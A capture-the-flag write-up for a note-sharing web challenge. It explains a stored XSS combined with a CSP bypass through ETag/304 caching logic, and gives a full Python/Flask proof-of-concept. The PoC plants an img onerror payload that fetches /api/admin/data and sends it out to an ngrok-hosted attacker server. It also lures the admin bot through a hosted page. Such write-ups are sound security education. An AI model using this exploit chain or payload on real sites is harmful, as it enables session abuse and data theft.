đźš© BKISC CTF - Secure Notes
Executive Summary
- OS: Linux
- Key Technique: The application has a note-viewing endpoint that is vulnerable to a Content Security Policy (CSP) bypass via a logic flaw in its HTTP caching mechanism. This allows an attacker to force an admin bot to execute a stored XSS payload from its local cache by triggering a
304 Not Modifiedresponse that serves a weakened CSP, thus allowing the exfiltration of sensitive admin data. - Status:
Completed
Reconnaissance
Configurations
There is a bot.py file inside the codebase, let’s take a look at that:

Inside the bot’s browser options, the author deliberately configured --disable-features=BlockInsecurePrivateNetworkRequests which effectively bypasses restrictions that prevent public websites from fetching resources on the private local network, highly hinting cross-site attacks such as CSRF.

The application used EJS which is a template engine, in EJS, undefined means unescaped raw content, by grepping it in the codebase, we can see what appears to be a sink for our exploit:

The there is a HTML escape function inside the app.js file but was not used on our sink, this confirms the vulnerability.

The flag is served through an endpoint called /api/admin/data. If we can somehow make the admin bot to visit our malicious note, we can set-up a malicious XSS payload inside the note’s content that triggeres a request to the internal /api/admin/data and retrieve the flag.

First Look

The website is note sharing platform, where we can write a new notes and/or report a note to the admin and sharing the note, in order to create a note, we need to sign in. However, since we do not have any accounts initially, we need to register ourselves to the system.

Good thing is, the website has a rather handy register function, by clicking Create one instantly on the login page, the website immediately create an account with a random username for us and set us a cookie that we can use to create our own notes right away.

We can see that the content of the note suppose HTML. To confirm our exploit source, we can try adding a new note with the content being an XSS payload:
<img src=x onerror=alert(1)>
Our payload is injected inside the DOM of the page right away, however, the payload was not executed. However, the moment we click the share button, our familiar alert popup was invoked.

It turns out that the moment we click the share button, our browser send a request to and endpoint at /api/note/:note_id/share that do something in the backend, and change the initial strict CSP of our note page to the loose CSP directives.

This seems to be our pivoting point for this challenge, the XSS path does not seem to be straightforward as we initially thought.
Exploitation
Let’s go back to the codebase to see what’s actually going on.

When we create a new note, the note has its shared options default to false.

At /api/note/:id/share, the application defines a logic that flip essentially does the flipping between the shared and not shared state of a note. When a note is set to shared, the note has an attribute called shareTime. This attribute is used inside logic used to displayed the note at /note/:id endpoint.

TL;DR
If-None-Matchheader is the header that contains anetagwhich is essentially a unique identifier (a random string) of a version of the page on the server.When the
/note/:idpage is loaded for the first time inside a browser, the server sends back anEtagheader inside the response, the browser then store that string inside its memory. When the page is requested for the second time, the browser sends another request with the etag attached to it inside theIf-None-Matchheader. If the etag on the server has changed (meaning the state of the page stored on the server has changed), the server will send back a new page together with the new etag, otherwise the server responds with a304 Not Modifiedand the browser load the page with its cached version inside it memory.
In this case, when we create a new note inside our browser, using our own account:
- We got redirected to the note’s page, our browser sends a request without
If-None-Matchheader. - The server set the
note.lastFreshViewto the current time

When we click on the Share button:
- The
sharedattribute of the note changes and the note has a new attribute calledshareTime.
Then we immediately got redirected to the note page again:
- This time, the server sends a new request with the previous etag.
- The server receives the request, seeing that there is a
If-None-Matchheader so it does not update thenote.lastFreshViewanymore. Instead, it checks the conditions:- Is
note.shareTime = true? : Yes. - Does
note.lastFreshViewexists ?: Yes. - Is
note.shareTime > note.lastFreshView?: Yes.
- Is
Since all the conditions are satisfied, the server responds back with a new etag and the loose CSP directives.

There is a vulnerability in the application’s setup, is that the note.lastFreshView was not tied to any specific account or session. Any account that visit the page can set this note.lastFreshView to the current time, including the admin’s account.
If we can track when the admin visit our note for the first time - this set the note.lastFreshView time - and we immediately fire the request to the /api/note/:id/share endpoint then force the admin to refresh the page, we can successfully expose the admin to the loose CSP page and make the request to /api/admin/data and exfiltrate the flag.
To do this, instead of sending the admin the note’s URL, we can send it the URL of a website that we host publicly. The moment the admin’s browser lands on our website, we open a new window (this can happen since the admin’s browser has disabled popup blocking) inside the admin’s browser leading to our note page, essentially setting the note.lastFreshView, then we send a share request to the server, and then finalize the exploit by redirect the admin to our note page using Javascript’s location.href = NOTE_URL and trigger the XSS.

PoC
import requests
import base64
import time
import threading
from flask import Flask, request
app = Flask(__name__)
TARGET_URL = "http://127.0.0.1:3000"
BOT_INTERNAL_URL = "http://localhost:3000"
EXPLOIT_SERVER = "http://0.tcp.ap.ngrok.io:23558"
session = requests.Session()
note_path = ""
@app.route('/')
@app.route('/')
def serve_exploit():
print("[*] Bot visited the exploit page!")
html = f"""
<!DOCTYPE html>
<html>
<body>
<script>
const NOTE_URL = "{BOT_INTERNAL_URL}{note_path}";
const EXPLOIT_SERVER = "{EXPLOIT_SERVER}";
let win = window.open(NOTE_URL);
setTimeout(() => {{
fetch(EXPLOIT_SERVER + "/trigger_share")
.then(() => {{
location.href = NOTE_URL;
}});
}}, 2500);
</script>
</body>
</html>
"""
return html
@app.route('/trigger_share')
def trigger_share():
print("[*] Sending the sharing request...")
headers = {"Content-Type": "application/json"}
res = session.post(TARGET_URL + "/api" + note_path + '/share', headers=headers)
if res.status_code == 200:
print("[+] Note successfully shared!")
else:
print("[-] Failed to share note.")
return "OK"
@app.route('/log')
def log_flag():
flag = request.args.get('data')
print(f"\n[!!] FLAG: {base64.b64decode(flag).decode() if flag else 'No data'}")
return "OK"
def setup_and_report():
global note_path
time.sleep(2)
print("[*] Registering...")
res = session.get(TARGET_URL + "/register")
if res.status_code != 200:
print("[-] Registration failed")
return
print("[*] Creating XSS Note...")
malicious_js = f"fetch('/api/admin/data').then(r=>r.text()).then(d=>fetch('{EXPLOIT_SERVER}/log?data='+encodeURIComponent(btoa(d))))"
xss_payload = f'<img src="x" onerror="{malicious_js}">'
note_data = {"title": "XSS", "content": xss_payload}
res = session.post(TARGET_URL + "/api/note", data=note_data, allow_redirects=False)
note_path = res.headers.get('Location')
print(f"[+] Note created at {note_path}")
print("[*] Sending the bot to our page...")
report_data = {"url": EXPLOIT_SERVER}
res = session.post(TARGET_URL + "/report", data=report_data)
print("[+] Report sent.")
if __name__ == '__main__':
threading.Thread(target=setup_and_report).start()
print("[*] Starting Exploit Server on port 80...")
app.run(host='0.0.0.0', port=80)